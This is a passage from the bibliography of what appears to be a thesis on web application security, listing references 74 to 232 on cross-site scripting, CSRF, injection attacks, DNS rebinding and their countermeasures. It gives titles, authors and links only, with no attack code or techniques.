[74] R. Fielding, J. Gettys, J. Mogul, H. Frystyk, L. Masinter, P. Leach, and T. Berners-

Lee. Hypertext Transfer Protocol – HTTP/1.1. RFC 2616, http://www.w3.org/
Protocols/rfc2616/rfc2616.html, June 1999.

[75] David Flanagan. JavaScript: The Definitive Guide. O’Reilly, 4th edition, Novem-
ber 2001.

[76] J. Franks, P. Hallam-Baker, J. Hostetler, S. Lawrence, P. Leach, A. Luotonen, and

L. Stewart. HTTP Authentication: Basic and Digest Access Authentication. RFC
2617, http://www.ietf.org/rfc/rfc2617.txt, June 1999.

[77] Steve Friedl. SQL Injection Attacks by Example. [online], http://unixwiz.net/

techtips/sql-injection.html, (01/21/08), 2005.

[78] Tom Gallagher, Bryan Jeffries, and Lawrence Landauer. Hunting Security Bugs.
Microsoft Press, 2006.

[79] Vladimir Gapeyev and Benjamin C. Pierce. Regular Object Types. In Euro-
pean Conference on Object-Oriented Programming (ECOOP), Darmstadt, Ger-
many, 2003.

[80] Eric Glass. The NTLM Authentication Protocol. [online], http://davenport.

sourceforge.net/ntlm.html, (03/13/06), 2003.

[81] Google. Google Translate. [online service], http://www.google.com/translate

t, (09/11/07).

[82] James Gosling, Bill Joy, Guy Steele, and Gilad Bracha. The Java Language Spec-
ification. Addison-Wesley, third edition, 2005.

[83] Roger A. Grimes. MySpace password exploit: Crunching the numbers (and let-
ters). [online], http://www.infoworld.com/article/06/11/17/47OPsecadvise
1.html (07/01/08), November 2007.

236
 Bibliography

[84] Jeremiah Grossman. Cross-Site Tracing (XST) - The New Techniques and
Emerging Threats to Bypass Current Web Security Measures Using Trace
and XSS. Whitepaper, http://www.cgisecurity.com/whitehat-mirror/
WhitePaper screen.pdf, January 2003.

[85] Jeremiah Grossman. Cross-Site Scripting Worms and Viruses - The Impend-
ing Threat and the Best Defense. whitepaper, http://www.whitehatsec.com/
downloads/WHXSSThreats.pdf, April 2006.

[86] Jeremiah Grossman. I know if you’re logged-in, anywhere.

[online], http://jeremiahgrossman.blogspot.com/2006/12/
i-know-if-youre-logged-in-anywhere.html, (08/08/07), December 2006.

[87] Jeremiah Grossman. I know where you’ve been. [online], http://

jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html,
August 2006.

[88] Jeremiah Grossman. JavaScript Malware, port scanning, and beyond. Posting to
the websecurity mailing list, http://www.webappsec.org/lists/websecurity/
archive/2006-07/msg00097.html, July 2006.

[89] Jeremiah Grossman. CSRF DDoS, skeleton in the closet. [online], http://
jeremiahgrossman.blogspot.com/2008/04/csrf-ddos-skeleton-in-closet.
html (05/08/08), April 2008.

[90] Jeremiah Grossman, Robert Hansen, Petko Petkov, and Anton Rager. Cross Site
Scripting Attacks: XSS Exploits and Defense. Syngress, 2007.

[91] Jeremiah Grossman and TC Niedzialkowski. Hacking Intranet Websites from

the Outside. Talk at Black Hat USA 2006, http://www.blackhat.com/
presentations/bh-usa-06/BH-US-06-Grossman.pdf, August 2006.

[92] Jeremiah Grossmann. Fun with CUPS. [online], http://jeremiahgrossman.

blogspot.com/2008/03/fun-with-cups.html, (04/25/08), March 2008.

[93] William G.J. Halfond, Alessandro Orso, and Panagiotis Manolios. Using Positive
Tainting and Syntax-Aware Evaluation to Counter SQL Injection Attacks. In 14th
ACM Symposium on the Foundations of Software Engineering (FSE), 2006.

[94] Oystein Hallaraker and Giovanni Vigna. Detecting Malicious JavaScript Code in
Mozilla. In Proceedings of the IEEE International Conference on Engineering of
Complex Computer Systems (ICECCS), pages 85–94, June 2005.

[95] Robert Hansen. XSS (cross-site scripting) cheat sheet - esp: for filter evasion.
[online], http://ha.ckers.org/xss.html, (05/05/07).

[96] Robert Hansen. Detecting FireFox Extentions. [online], http://ha.ckers.org/

blog/20060823/detecting-firefox-extentions/, (08/08/07), August 2006.

237
Bibliography

[97] Robert Hansen. Detecting States of Authentication With Pro-

tected Images. [online], http://ha.ckers.org/blog/20061108/
detecting-states-of-authentication-with-protected-images/,
(08/31/07), November 2006.

[98] Robert Hansen. Hacking Intranets Via Brute Force. [online], http://ha.ckers.
org/blog/20061228/hacking-intranets-via-brute-force/, December 2006.

[99] Robert Hansen. List of common internal domain names. [online], http://ha.
ckers.org/fierce/hosts.txt, (09/06/07), March 2007.

[100] David Heinemeier Hansson. Ruby on Rails Documentation. [online], http://www.

rubyonrails.org/docs, (05/18/07), 2007.

[101] Falk Hartmann. An Architecture for an XML-Template Engine Enabling Safe

Authoring. In DEXA ’06: Proceedings of the 17th International Conference on
Database and Expert Systems Applications, pages 502–507, 2006.

[102] Philippe Le Hegaret, Ray Whitmer, and Lauren Wood. Document Object Model
(DOM). W3C recommendation, http://www.w3.org/DOM/, January 2005.

[103] Boris Hemkemeier. A Short Guide to Input Validation. seco-

logic whitepaper, http://www.secologic.org/downloads/web/070509
secologic-short-guide-to-input-validation.pdf, 2007.

[104] Hewlett-Packard. LoadRunner. [software], http://h10078.www1.hp.com/cda/

hpms/display/main/hpms content.jsp?zn=bto&cp=1-11-126-17^8 4000 100
.

[105] Mieke Hildebrandt. Web authentication revisited. Master’s thesis, University of

Hamburg, June 2008.

[106] Billy Hoffman. JavaScript Malware for a Gray Goo Tomorrow! Talk
at the Shmoocon’07, http://www.spidynamics.com/spilabs/education/
presentations/Javascript malware.pdf, March 2007.

[107] P. Hoffman. The gopher URI Scheme. RFC 4266, http://www.ietf.org/rfc/

rfc4266.txt, November 2005.

[108] Michael Howard and David LeBlanc. Writing Secure Code, Second Edition. Mi-
crosoft Press, 2003.

[109] Yao-Wen Huang, Fang Yu, Christian Hang, Chung-Hung Tsai, Der-Tsai Lee, and
Sy-Yen Kuo. Securing web application code by static analysis and runtime pro-
tection. In Proceedings of the 13th conference on World Wide Web, pages 40–52.
ACM Press, 2004.

238
 Bibliography

[110] Kingsley Idehen. The Open Database Connectivity Standard (ODBC). Whitepa-
per, OpenLink Software, http://www.openlinksw.com/info/docs/odbcwhp/
tableof.htm, 1993.

[111] Matthew Inman. XSS - How to get 20 .gov links in 20 minutes. [online], http:
//www.seomoz.org/blog/xss-how-to-get-20-gov-links-in-20-minutes,
(08/08/08), August 2006.

[112] Omar Ismail, Masashi Eto, Youki Kadobayashi, and Suguru Yamaguchi. A Pro-
posal and Implementation of Automatic Detection/Collection System for Cross-
Site Scripting Vulnerability. In 8th International Conference on Advanced Infor-
mation Networking and Applications (AINA04), March 2004.

[113] Collin Jackson, Adam Barth, Andrew Bortz, Weidong Shao, and Dan Boneh.
Protecting Browsers from DNS Rebinding Attack. In Proceedings of the 14th ACM
Conference on Computer and Communication Security (CCS ’07), October 2007.

[114] Collin Jackson, Andrew Bortz, Dan Boneh, and John C. Mitchell. Protecting
Browser State from Web Privacy Attacks. In Proceedings of the 15th ACM World
Wide Web Conference (WWW 2006), 2006.

[115] Collin Jackson, Andrew Bortz, Dan Boneh, and John C. Mitchell. SafeHistory.
[software], http://www.safehistory.com/, 2006.

[116] Collin Jackson and Helen J. Wang. Subspace: Secure Cross-Domain Communica-
tion for Web Mashups. In WWW 2007, 2007.

[117] Ian Jacobs, Arnaud Le Hors, and David Raggett. HTML 4.01 Specification.
W3C recommendation, http://www.w3.org/TR/1999/REC-html401-19991224,
November 1999.

[118] Markus Jakobsson and Sid Stamm. Invasive Browser Sniffing and Counter-
measures. In Proceedings of The 15th annual World Wide Web Conference
(WWW2006), 2006.

[119] Janne Jalkanen. JSPWiki. [software], http://www.jspwiki.org/.

[120] Trevor Jim, Greg Morrisett, Dan Grossman, Michael Hicks, James Cheney, and
Yanling Wang. Cyclone: A safe dialect of C. In USENIX Annual Technical Con-
ference, 2002.

[121] Trevor Jim, Nikhil Swamy, and Michael Hicks. Defeating Script Injection Attacks
with Browser-Enforced Embedded Policies. In 16th International World Wide Web
Conference (WWW2007), May 2007.

[122] Martin Johns. A First Approach to Counter ”JavaScript Malware”. In Proceed-

ings of the 23rd Chaos Communication Congress, pages 160 – 167. Verlag Art
d’Ameublement, Bielefeld, December 2006. ISBN 978-3-934-63605-7.

239
Bibliography

[123] Martin Johns. SessionSafe: Implementing XSS Immune Session Handling. In

Dieter Gollmann, Jan Meier, and Andrei Sabelfeld, editors, European Symposium
on Research in Computer Security (ESORICS 2006), volume 4189 of LNCS, pages
444–460. Springer, September 2006.

[124] Martin Johns. (somewhat) breaking the same-origin policy by undermining dns-
pinning. Posting to the Bugtraq mailinglist, http://www.securityfocus.com/
archive/107/443429/30/180/threaded, August 2006.

[125] Martin Johns. Using eval() in Greasemonkey scripts considered harmful. [online],
Security Advisory, http://shampoo.antville.org/stories/1537256/, Decem-
ber 2006.

[126] Martin Johns. Code injection via CSRF in Wordpress < 2.03. [online], Security
Advisory, http://shampoo.antville.org/stories/1540873/, (08/08/08), Jan-
uary 2007.

[127] Martin Johns. Towards Practical Prevention of Code Injection Vulnerabilities on

the Programming Language Level. Technical Report 279-07, University of Ham-
burg, May 2007. http://www.informatik.uni-hamburg.de/bib/medoc/B-279.
pdf.

[128] Martin Johns. On JavaScript Malware and Related Threats - Web Page Based
Attacks Revisited. Journal in Computer Virology, Springer Paris, 4(3):161–178,
August 2008.

[129] Martin Johns and Christian Beyerlein. SMask: Preventing Injection Attacks in
Web Applications by Approximating Automatic Data/Code Separation. In 22nd
ACM Symposium on Applied Computing (SAC 2007), Security Track, pages 284 –
291. ACM, March 2007.

[130] Martin Johns, Bjoern Engelmann, and Joachim Posegga. XSSDS: Server-side De-
tection of Cross-site Scripting Attacks. In Annual Computer Security Applications
Conference (ACSAC’08), pages 335 – 344. IEEE Computer Society, December
2008.

[131] Martin Johns and Kanatoko. Using Java in anti DNS-pinning attacks (Firefox and
Opera). [online], Security Advisory, http://shampoo.antville.org/stories/
1566124/, (08/27/07), Februar 2007.

[132] Martin Johns and Daniel Schreckling. Automatisierter Code-Audit. Datenschutz

und Datensicherheit - DuD, 31(12):888–893, December 2007.

[133] Martin Johns and Justus Winter. RequestRodeo: Client Side Protection against
Session Riding. In Frank Piessens, editor, Proceedings of the OWASP Europe
2006 Conference, refereed papers track, Report CW448, pages 5 – 17. Departement
Computerwetenschappen, Katholieke Universiteit Leuven, May 2006.

240
 Bibliography

[134] Martin Johns and Justus Winter. Protecting the Intranet Against ”JavaScript
Malware” and Related Attacks. In Robin Sommer Bernhard M. Haemmerli, editor,
Detection of Intrusions and Malware & Vulnerability Assessment (DIMVA 2007),
volume 4579 of LNCS, pages 40 – 59. Springer, July 2007.

[135] Stephen C. Johnson. YACC: Yet Another Compiler-Compiler. Unix Programmer’s

Manual, 2b, 1979.

[136] Nenad Jovanovic, Christopher Kruegel, and Engin Kirda. Pixy: A Static Anal-
ysis Tool for Detecting Web Application Vulnerabilities. In IEEE Symposium on
Security and Privacy, May 2006.

[137] Nenad Jovanovic, Christopher Kruegel, and Engin Kirda. Preventing cross site re-
quest forgery attacks. In Proceedings of the IEEE International Conference on Se-
curity and Privacy for Emerging Areas in Communication Networks (Securecomm
2006), 2006.

[138] Dan Kaminsky. Black Ops 2007: Design Reviewing The Web. talk at the Black
Hat 2007 conference, http://www.doxpara.com/?q=node/1149, August 2007.

[139] Dan Kaminsky. h0h0h0h0. Talk at the ToorCon Seattle Conference, http://
seattle.toorcon.org/2008/conference.php?id=42, April 2008.

[140] Samy Kamkar. Technical explanation of the MySpace worm. [online], http:
//namb.la/popular/tech.html, (01/10/06), October 2005.

[141] Kanatoko. Stealing Information Using Anti-DNS Pinning : Online Demonstration.

[online], http://www.jumperz.net/index.php?i=2&a=1&b=7, (30/01/07), 2006.

[142] Kanatoko. Anti-DNS Pinning + Socket in Flash. [online], http://www.jumperz.

net/index.php?i=2&a=3&b=3, (19/01/07), January 2007.

[143] Chris Karlof, Umesh Shankar, J.D. Tygar, and David Wagner. Dynamic pharming
attacks and the locked same-origin policies for web browsers. In Proceedings of
the 14th ACM Conference on Computer and Communication Security (CCS ’07),
October 2007.

[144] Martin Kempa and Volker Linnemann. On XML Objects. In Programming Lan-
guage Technologies for XML (PLAN-X 2002), 2002.

[145] Florian Kerschbaum. Simple Cross-Site Attack Prevention. In SecureComm’07,

2007.

[146] Pekka Kilpelaeinen and Derick Wood. SGML and XML Document Grammars and
Exceptions. Information and Computation, 169(2):230–251, 2001.

[147] Lars Kindermann. My Address Java Applet. [online], http://reglos.de/

myaddress/MyAddress.html (11/08/06), 2003.

241
Bibliography

[148] Engin Kirda, Christopher Kruegel, Giovanni Vigna, and Nenad Jovanovic. Noxes:
A Client-Side Solution for Mitigating Cross Site Scripting Attacks. In Security
Track of the 21st ACM Symposium on Applied Computing (SAC 2006), April
2006.

[149] Kishor. IE - Guessing The Names Of The Fixed Drives On Your

Computer. [online], http://wasjournal.blogspot.com/2007/07/
ie-guessing-names-of-fixed-drives-on.html, (08/31/07), July 2007.

[150] Amid Klein. ”Divide and Conquer” - HTTP Response Splitting, Web
Cache Poisoning Attacks, and Related Topics. Whitepaper, Sanc-
tum Inc., http://packetstormsecurity.org/papers/general/whitepaper
httpresponse.pdf, March 2004.

[151] Amit Klein. Cross Site Scripting Explained. White Paper, Sanctum Secu-
rity Group / IBM, http://download.boulder.ibm.com/ibmdl/pub/software/
dw/rational/pdf/0325 segal.pdf, June 2002.

[152] Amit Klein. Blind XPath Injection. Whitepaper, Watchfire, http://www.

modsecurity.org/archive/amit/blind-xpath-injection.pdf, 2005.

[153] Amit Klein. DOM Based Cross Site Scripting or XSS of the Third
Kind. [online], http://www.webappsec.org/projects/articles/071105.shtml,
(05/05/07), Sebtember 2005.

[154] Amit Klein. XST Strikes Back. Posting to the websecurity mailinglist, http:
//www.webappsec.org/lists/websecurity/archive/2006-01/msg00051.html,
January 2006.

[155] Alex ”Kuza55” Kouzemtchenko. Unusual Web Bugs - A Web Hacker’s Bag O’
Tricks. Talk a the 24C3 conference, http://events.ccc.de/congress/2007/
Fahrplan/events/2212.en.html, December 2007.

[156] Glenn Krasner and Stephen Pope. A Cookbook for Using the Model-View-
Controller User Interface Paradigm in Smalltalk-80. Journal Of Object Oriented
Programming, 1(3):26 ff, August/September 1989.

[157] Jason Kratzer. JSPWiki Multiple Vulnerabilities. Posting to the Bugtraq mail-
inglist, http://seclists.org/bugtraq/2007/Sep/0324.html, September 2007.

[158] D. Kristol and L. Montulli. HTTP State Management Mechanism. RFC 2965,
http://www.ietf.org/rfc/rfc2965.txt, October 2000.

[159] Christopher Kruegel and Engin Kirda. Protecting Users Against Phishing Attacks
with AntiPhish. In 29th Annual International Computer Software and Applications
Conference (COMPSAC’05), July 2005.

242
 Bibliography

[160] SPI Labs. Detecting, Analyzing, and Exploiting Intranet Applications us-
ing JavaScript. Whitepaper, http://www.spidynamics.com/assets/documents/
JSportscan.pdf, July 2006.

[161] SPI Labs. Stealing Search Engine Queries with JavaScript. Whitepaper, http:
//www.spidynamics.com/assets/documents/JS SearchQueryTheft.pdf, 2006.

[162] V. T. Lam, Spyros Antonatos, P. Akritidis, and Kostas G. Anagnostakis. Pup-

petnets: Misusing Web Browsers as a Distributed Attack Infrastructure. In Pro-
ceedings of the 13th ACM Conference on Computer and Communication Security
(CCS ’06), pages 221–234, 2006.

[163] Julien Lamarre. AJAX without XMLHttpRequest, frame, iframe, Java or Flash.
[online], http://zingzoom.com/ajax/ajax with image.php, (02/02/2006),
September 2005.

[164] William Landi. Undecidability of Static Analysis. ACM Letters on Programming

Languages and Systems (LOPLAS), 1(4):323 – 337, December 1992.

[165] Thor Larholm. IIS allows universal CrossSiteScripting. Posting to the bugtraq
mailing list, http://seclists.org/bugtraq/2002/Apr/0129.html, April 2002.

[166] James R. Larus, Thomas Ball, Manuvir Das, Robert DeLine, Manuel Faehndrich,
Jon Pincus, Sriram K. Rajamani, and Ramanathan Venkatapathy. Righting soft-
ware. IEEE Software, 21(3):92–100, 2004.

[167] Ben Laurie and Peter Laurie. Apache: The Definitive Guide. O’Reilly, 3rd edition,
December 2002.

[168] Benjamin Livshits and Weidong Cui. Spectator: Detection and Containment of
JavaScript Worms. In Usenix Annual Technical Conference, June 2008.

[169] Benjamin Livshits and Ulfar Erlingsson. Using Web Application Construction
Frameworks To Protect Against Code Injection Attacks. In Workshop on Pro-
gramming Languages and Analysis for Security (PLAS 2007), June 2007.

[170] Benjamin Livshits and Monica S. Lam. Finding Security Vulnerabilities in Java
Applications Using Static Analysis. In Proceedings of the 14th USENIX Security
Symposium, August 2005.

[171] LMH. MOAB-01-01-2007: Apple Quicktime rtsp URL Handler Stack-based Buffer
Overflow. [online], http://projects.info-pull.com/moab/MOAB-01-01-2007.
html, (05/13/08), January 2007.

[172] Miroslav Lucinskij. Skype videomood XSS. Posting to the full disclosure mail-
inglist, http://seclists.org/fulldisclosure/2008/Jan/0328.html, January
2008.

243
Bibliography

[173] Adrian Ludwig. Macromedia Flash Player 8 Security. Whitepaper, Macro-

media, http://www.adobe.com/devnet/flashplayer/articles/flash player
8 security.pdf, September 2005.

[174] O. L. Madsen and B. B. Kristensen. LR-parsing of extended context free grammars.

Acta Informatica, 7:61–73, March 1976.

[175] Giorgio Maone. NoScript Firefox Extension. [software], http://www.noscript.

net/whats, 2006.

[176] Gervase Markham. Content Restrictions, Version 0.9.2. [online], http://www.

gerv.net/security/content-restrictions/ (08/28/07), March 2007.

[177] Matt Mullenweg et al. Wordpress. [software], http://wordpress.org/.

[178] R. A. McClure and I. H. Krueger. SQL DOM: compile time checking of dynamic
SQL statements. In Proceedings of the 27th International Conference on Software
Engineering, 2005.

[179] Nathan McFeters and Billy Rios. URI Use and Abuse. Whitepaper, http://www.
xs-sniper.com/nmcfeters/URI Use and Abuse.pdf, July 2007.

[180] Haroon Meer and Marco Slaviero. It’s all about the timing... Whitepaper, http:
//www.sensepost.com/research/squeeza/dc-15-meer and slaviero-WP.pdf,
August 2007.

[181] Adam Megacz. Firewall circumvention possible with all browsers. Posting to the
Bugtraq mailinglist, http://seclists.org/bugtraq/2002/Jul/0362.html, July
2002.

[182] Erik Meijer, Brian Beckman, and Gavien Bierman. LINQ: Reconciling Objects,
Relations, and XML In the .NET Framework. In SIGMOD 2006 Industrial Track,
2006.

[183] Erik Meijer, Wolfram Schulte, and Gavin Bierman. Programming with Circles,
Triangles and Rectangles. In XML 2003, 2003.

[184] Erik Meijer, Wolfram Schulte, and Gavin Bierman. Unifying Tables, Objects,
and Documents. In Declarative Programming in the Context of OO Languages
(DP-COOL ’03), volume 27. John von Neumann Institute of Computing, 2003.

[185] Steffen Meschkat. JSON RPC - Cross Site Scripting and Client Side Web Services.
Talk at the 23C3 Congress, http://events.ccc.de/congress/2006/Fahrplan/
attachments/1198-jsonrpcmesch.pdf, December 2006.

[186] Microsoft. How to use security zones in Internet Explorer. [online], http://
support.microsoft.com/default.aspx?scid=KB;EN-US;Q174360, (04/25/08),
December 2007.

244
 Bibliography

[187] Microsoft. Microsoft Silverlight. [online], http://www.microsoft.com/

silverlight/, (09/14/07), 2007.

[188] Mark S. Miller, Mike Samuel, Ben Laurie, Ihab Awad, and Mike Stay. Caja -
Safe active content in sanitized JavaScript. Whitepaper, http://google-caja.
googlecode.com/files/caja-spec-2008-01-15.pdf, January 2008.

[189] Misc. www-talk. Mailing list, http://lists.w3.org/Archives/Public/

www-talk/, 1991 - 2009.

[190] Mozilla Developer Center. LiveConnect. [online], http://developer.mozilla.

org/en/docs/LiveConnect, (08/08/07), 2007.

[191] MSDN. About Cross-Frame Scripting and Security. [online], http://msdn2.

microsoft.com/en-us/library/ms533028.aspx, (04/22/08).

[192] MSDN. Embedded SQL for C. [online], http://msdn.microsoft.com/

library/default.asp?url=/library/en-us/esqlforc/ec 6 epr 01 3m03.asp,
(27/02/07).

[193] MSDN. Mitigating Cross-site Scripting With HTTP-only Cookies. [online], http:
//msdn.microsoft.com/workshop/author/dhtml/httponly cookies.asp,
(01/23/06).

[194] Marianne Mueller. Sun’s Response to the DNS Spoofing Attack. [online], http:
//www.cs.princeton.edu/sip/news/sun-02-22-96.html, (09/09/07), February
1996.

[195] Makoto Murata, Dongwon Lee, Murali Mani, and Kohsuke Kawaguchi. Taxonomy
of XML schema languages using formal language theory. ACM Trans. Interet
Technol., 5(4):660–704, 2005.

[196] George C. Necula, Scott McPeak, and Westley Weimer. CCured: Type-Safe
Retrofitting of Legacy Code. In Symposium on Principles of Programming Lan-
guages (POPL’02), 2002.

[197] Jeff Nelson and David Jeske. Limits to Anti Phishing. In Proceedings of the W3C
Security and Usability Workshop, 2006.

[198] A. Nguyen-Tuong, S. Guarnieri, D. Greene, J. Shirley, and D. Evans. Automati-

cally hardening web applications using precise tainting. In 20th IFIP International
Information Security Conference, May 2005.

[199] Object Management Group, Inc. Common Object Request Broker Architecture:
Core Specification, Version 3.0.3. [Specification Document], http://www.omg.
org/docs/formal/04-03-12.pdf, March 2004.

245
Bibliography

[200] Gunter Ollmann. Second-order Code Injection. Whitepaper, NGSSoft-

ware Insight Security Research, http://www.ngsconsulting.com/papers/
SecondOrderCodeInjection.pdf, 2004.

[201] Aleph One. Smashing the stack for fun and profit. Phrack, 49, 1996.

[202] Open Web Application Project (OWASP). CSRF Guard 2.2. Software, http:
//www.owasp.org/index.php/CSRF Guard, June 2008.

[203] Open Web Application Project (OWASP). HTTPOnly. [online], http://www.

owasp.org/index.php/HTTPOnly (10/28/08), 2008.

[204] Open Web Application Project (OWASP). Path traversal. [online], http://www.
owasp.org/index.php/Path Traversal (08/08/08), May 2008.

[205] Tim O’Reilly. What is Web 2.0: Design Patterns and Business Models for the
Next Generation of Software. Communications & Strategies, (65), 1. quarter 2007.

[206] Stefano Di Paola and Giorgio Fedon. Subverting Ajax - Next generation vulnerabil-
ities in 2.0 Web Applications. In 23rd Chaos Communication Congress, December
2006.

[207] John Percival. Cross-Site Request Forgeries. [online], http://www.tux.org/

∼peterw/csrf.txt, (03/09/07), June 2001.

[208] Charles P. Pfleeger and Shari Lawrence Pfleeger. Security in computing. Prentice
Hall, 4th edition, 2007.

[209] Benjamin C. Pierce. Types and Programming Languages. MIT Press, 2002.

[210] Tadeusz Pietraszek and Chris Vanden Berghe. Defending against Injection Attacks
through Context-Sensitive String Evaluation. In Recent Advances in Intrusion
Detection (RAID2005), 2005.

[211] Alex Pigrelax. XSS in nested tag in phpbb 2.0.16. mailing list Bugtraq, http:
//www.securityfocus.com/archive/1/404300, July 2005.

[212] XUL Planet. nsIContentPolicy. API Reference, [online], http://www.xulplanet.

com/references/xpcomref/ifaces/nsIContentPolicy.html, (11/02/07), 2006.

[213] Helma Project. Helma Application Server. [software], http://helma.org/, 2005.

[214] Mozilla Project. Mozilla Port Blocking. [online], http://www.mozilla.org/

projects/netlib/PortBanning.html (11/13/06), 2001.

[215] Niels Provos, Dean McNamee, Panayiotis Mavrommatis, Ke Wang, and Nagen-
dra Modadugu. The Ghost in the Browser: Analysis of Web-based Malware. In
USENIX Workshop on Hot Topics in Understanding Botnets, April 2007.

246
 Bibliography

[216] Anton Rager. XSS-Proxy. [online], http://xss-proxy.sourceforge.net,

(30/01/06), July 2005.

[217] E. Rescorla. HTTP Over TLS. RFC 2818, http://tools.ietf.org/html/

rfc2818, May 2000.

[218] E. Rescorla and A. Schiffman. The Secure HyperText Transfer Protocol. RFC
2660, http://www.ietf.org/rfc/rfc2660.txt, August 1999.

[219] H. G Rice. Classes of Recursively Enumerable Sets and Their Decision Problems.
Trans. Amer. Math. Soc., 74:358–366, 1953.

[220] Billy K. Rios and Nathan McFeters. Slipping Past The Firewall. Talk at the HITB-
SecConf2007 conference, http://conference.hitb.org/hitbsecconf2007kl/
agenda.htm, September 2007.

[221] Ivan Ristic. Apache Security. O’Reilly, March 2005.

[222] Thomas Roessler. When Widgets Go Bad. Lightning talk at the 24C3 con-
ference, http://log.does-not-exist.org/archives/2007/12/28/2160 when
widgets go bad.html, December 2007.

[223] Blake Ross, Collin Jackson, Nicholas Miyake, Dan Boneh, and John C. Mitchell.
Stronger Password Authentication Using Browser Extensions. In Proceedings of
the 14th Usenix Security Symposium, 2005.

[224] David Ross. IE 8 XSS Filter Architecture/Implementa-

tion. [online], http://blogs.technet.com/swi/archive/2008
/08/18/ie-8-xss-filter-architectureimplementation.aspx (09/09/08),
August 2008.

[225] Jesse Ruderman. The Same Origin Policy. [online], http://www.mozilla.org/

projects/security/components/same-origin.html (01/10/06), August 2001.

[226] Olatunji Ruwase and Monica S. Lam. A Practical Dynamic Buffer Overflow De-
tector. In Proceedings of the Network and Distributed System Security (NDSS)
Symposium, 2004.

[227] Andrei Sabelfeld and Andrew C. Myers. Language-Based Information-Flow Secu-

rity. IEEE Journal on Selected Areas in Communications, 21(1):5–19, 2003.

[228] Daniel Sandler and Dan S. Wallach. <input type=”password”> must die! In Web
2.0 Security and Privacy 2008 (W2SP’08), May 2008.

[229] S. S. Sarma and Garima Narayan. Analysis of defaced Indian websites Year-
2006. CERT-In White Paper CIWP-2007-02, http://www.cert-in.org.in/
knowledgebase/whitepapers/CIWP-2007-02.pdf, February 2007.

247
Bibliography

[230] Stuart E. Schechter, Rachna Dhamija, Andy Ozment, and Ian Fischer. The Em-
peror’s New Security Indicators - An evaluation of website authentication and the
effect of role playing on usability studies. In IEEE Symposium on Security and
Privacy, pages 51–65, May 2007.

[231] George Schlossnagle. Advanced PHP Programming. Sams, February 2004.

[232] Juergen Schmidt. Password stealing for dummies... or why Cross Site Script-
ing really matters. [online], http://www.heise-online.co.uk/security/
